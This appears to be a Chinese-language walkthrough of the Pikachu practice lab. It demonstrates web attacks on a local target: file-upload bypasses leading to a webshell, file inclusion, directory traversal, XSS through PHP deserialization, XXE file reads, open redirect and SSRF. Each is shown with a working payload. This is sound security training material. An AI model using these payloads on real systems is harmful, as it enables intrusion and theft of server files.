超文本标记语言 .html .html
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
GIF图形 .gif image/gif
JPEG 图形 .jpeg .jpg image/jpeg
au声音文件 .au audio/
MIDI音乐文件 mid .midi audio/midi audio/x-midi
RealAudio音乐文件 .ra .ram autdio/x-pn-realaudio
MPEG文件 .mpg .mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar

2.实战

直接上传我们的php代码,回显说只能上传jpg,jpeg,png格式

image-20231212200507387

查看源代码没看出什么,直接抓包吧

发现content-type应该就是判断该文件类型的依据,直接将其内容改成image/jpeg,在forword出去,文件成功上传

image-20231212201339895

image-20231212202023086

4.文件内容check(getimagesize)

getimagesize函数用于检测图片文件的大小,限制了上传文件的文件头必须为图片类型

尝试过上一关的方法,结果回显报错

image-20231212221151460

可以猜测使用了getimagesize函数

有两种方法可以成功上传:

法1:

​ 将jpg格式的文件头加入到php文件中

image-20231212221659590

​ 再重新上传,可以上传成功

法2:

​ 将php文件写入图片中

方法如下:

​ 新建一个文件:image-20231212223357347

​ 将准备好的php文件(aa.php)和图片(image.jpg)放入该文件中,在该文件目录下打开命令行,

​ 输入:copy image.jpg/b+aa.php tp.jpg

image-20231212223720967

​ 得到一个新的图片后再将这张图片上传即可

漏洞利用:

这里是针对方法一

我们可以利用文件包含的漏洞,将该文件上传上去

先目录猜解,得到

1
http://127.0.0.1/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/12/13/5015106579620bd5689342763105.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

image-20231213160531127

再用蚁剑连接:

image-20231213160239612

连接成功

../../

概述

​ 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

​ 看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。

​ 需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC”中了解更多)

​ 你可以通过“../../”对应的测试栏目,来进一步的了解该漏洞。

1
../的作用:返回目录的上一层

目录遍历

点击蓝色字体,url改变为:http://127.0.0.1/vul/dir/dir_list.php?title=jarheads.php

发现url里有参数title

接着我们可以利用../试着访问敏感文件

1
http://127.0.0.1/vul/dir/dir_list.php?title=../../../index.php

image-20231213210806250

1
http://127.0.0.1/vul/dir/dir_list.php?title=../../../../Windows/win.ini

image-20231213211313331

敏感信息泄露

概述

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;

​ 类似以上这些情况,我们成为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。

​ 你可以通过“i can see your abc”对应的测试栏目,来进一步的了解该漏洞。

IcanseeyouABC

打开是一个登录界面,直接输入admin 123456,结果登录错误

查看源码:

image-20231213212609685

这里直接暴露了账号信息,属于源码上的敏感信息泄露

PHP反序列化

概述

  • 序列化是什么?

    通俗点,序列化就是把一个对象变成可以传输的字符串,比如下面一个对象

    使用函数serialize()

    1
    2
    3
    4
    5
    class S{
    public $test="pikachu";
    }
    $s=new S();//创建一个对象
    serialize($s)

    序列化后得到的结果就是这个样子:

    1
    O:1:"S":1:{s:4:"test";s:7:"pikachu";}

    O:代表object

    1:代表对象名字长度为一个字符

    S:对象的名称

    1:代表对象里面有一个变量

    s:数据类型

    4:变量名称的长度

    test:变量名称

    s:数据类型

    7:变量值的长度

    pikachu:变量值

  • 反序列化是什么?

    反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    使用函数unserialize()

    1
    2
    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
  • php中的魔法函数

    序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当地使用了,就会导致安全问题。

    常见几个魔法函数:

    1
    2
    3
    4
    5
    _construct()当一个对象被创建时使用
    _destruct()当一个对象被销毁时使用
    _toString()当一个对象被当作一个字符串使用
    _sleep() 在对象被序列化之前使用
    _wakeup将在序列化之后被立即被调用

php反序列化漏洞

随意输入

image-20231214213615307

php代码审计

image-20231214213905599

直接输入payload

1
2

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

image-20231214214521189

XXE

概述

XXE-“xml external entity injection”

即”xml外部实体注入漏洞”

概括一下就是”攻击过向服务器注入指定的xml实体内容,从而使服务器按照指定的配置进行执行,导致问题”

也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

XML

XML是指可扩展标记语言,被用于传输存储数据,不用于展示数据。

xml语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
第一部分:XML声明部分
<?xml version="1.0"?>
第二部分:文档类型定义 DTD
<!DOCTYPE note[
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>
第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD文档

作用:定义合法的XML文档构建模块

使用方式:

1.内部声明DTD:

1
<!DOCTYPE 根元素[元素声明]>

2.外部引用DTD:

1
<!DOCTYPE 根元素 SYSTEM "外部DTD的url">

3.引用公用DTD

XML实体

实体可以理解为变量,其必须在DTD中定义声明,可以在文档中其他地方调用该实体

根据应用方式,分为内部实体外部实体 ,这两者统称为普通实体

  • 普通实体:在XML中调用

    1
    2
    内部实体:<!ENTITY 实体名称 "实体值">
    外部实体:<!ENTITY 实体名称 SYSTEM "URL">
  • 参数实体:在DTD文档中调用

1
2
内部<!ENTITY % 实体名称 "实体的值">
外部<!ENTITY % 实体名称 SYSTEM "URL">

调用格式:普通实体:&实体名字;

​ 参数实体:%实体名字;

附加:

php://filter(伪协议)

  • 用于读取文件/源码

  • 使用条件:allow_url_fron:off/on

    ​ allow_url_include:off/on

  • 使用:

    1
    ?path=php://filter/read=covert.base64-encode/resourse=文件.php
  • file协议相对路径绝对路径都可以使用

XXE漏洞

随意输入,回显

image-20231217172420854

在上边我们已经搞懂了,先输入正常的xml语句,测试是否存在漏洞

1
2
3
4
5
<?xml version ="1.0"?>
<!DOCTYPE note[
<!ENTITY hacker "test">
]>
<name>&hacker;</name>

回显:

image-20231217172819824

再外部实体引用payload,访问服务器上的hosts文件

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>

回显:

image-20231217174227462

URL重定向

概述

​ 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
​ 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的就可能发生”跳错对象”的问题。

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

不安全的URL跳转

点击第三句会出现跳转

image-20231217180307939

我们漏洞利用一下:

抓包:

image-20231217181056268

得到requests报文,将修改后的url输入浏览器地址栏中

1
http://127.0.0.1/vul/urlredirect/urlredirect.php?url=unsafere.php

成功跳转到新的界面:

image-20231217181313381

SSRF

概述

SSRF(Sever-Side Request Forgery:服务器请求伪造) 是一种由攻击者构造形成由服务端发起请求的一种安全漏洞。

一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

漏洞原理

大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤和限制。比如从指定的url地址获取网页文本内容,加载指定地址的图片,文档,等等。

产生方法:

PHP中下面函数的使用不当会导致SSRF:

1
2
3
file_get_contents()
fsockopen()
curl_exec()

漏洞危害:

1.让服务端去访问相应的地址

2.让服务端去访问自己所处内网的指纹文件来判断是否存在相应的cms

3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件

4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包(payload)

5.攻击内网应用程序

6.判断内网主机是否存活:方法是访问是否有内网开放

7.DOS攻击(请求大文件,始终保持连接keep-alive always)

验证方法

1。因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的漏洞是否是由服务器发送的,从而判断是否存在SSRF漏洞

2.在访问源码中查找访问的资源地址,如果该资源地址类型为 www.xxx.com/xxx.php?image=(地址) 的就可能存在漏洞。

SSRF(curl)

curl命令是一个功能强大的网络工具,它能够通过http、ftp等方式下载文件,也能够上传文件,同时支持HTTPS等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。其实curl远不止这些功能,curl命令还可以解决开发过程中遇到的一些问题。

进入靶场:

点击蓝色文字后,网页跳转,发现url发生了变化

变成

1
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php

出现了url参数,参数值是url

接下来测试一下:

1
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

image-20231218211737401

回显了百度的界面

接下来试着访问其内部系统的文件

先在桌面上自己创建一个txt文件,再复制其文件地址

使用file协议

输入以下payload

1
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=file://C:\Users\30876\Desktop\test.txt

image-20231218212043000

成功回显。

SSRF(file_get_contents)

file_get_contents:把整个文件读入一个字符串中)

道理同以上一样,直接上payload

1
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=file://C:\Users\30876\Desktop\test.txt

image-20231218212744969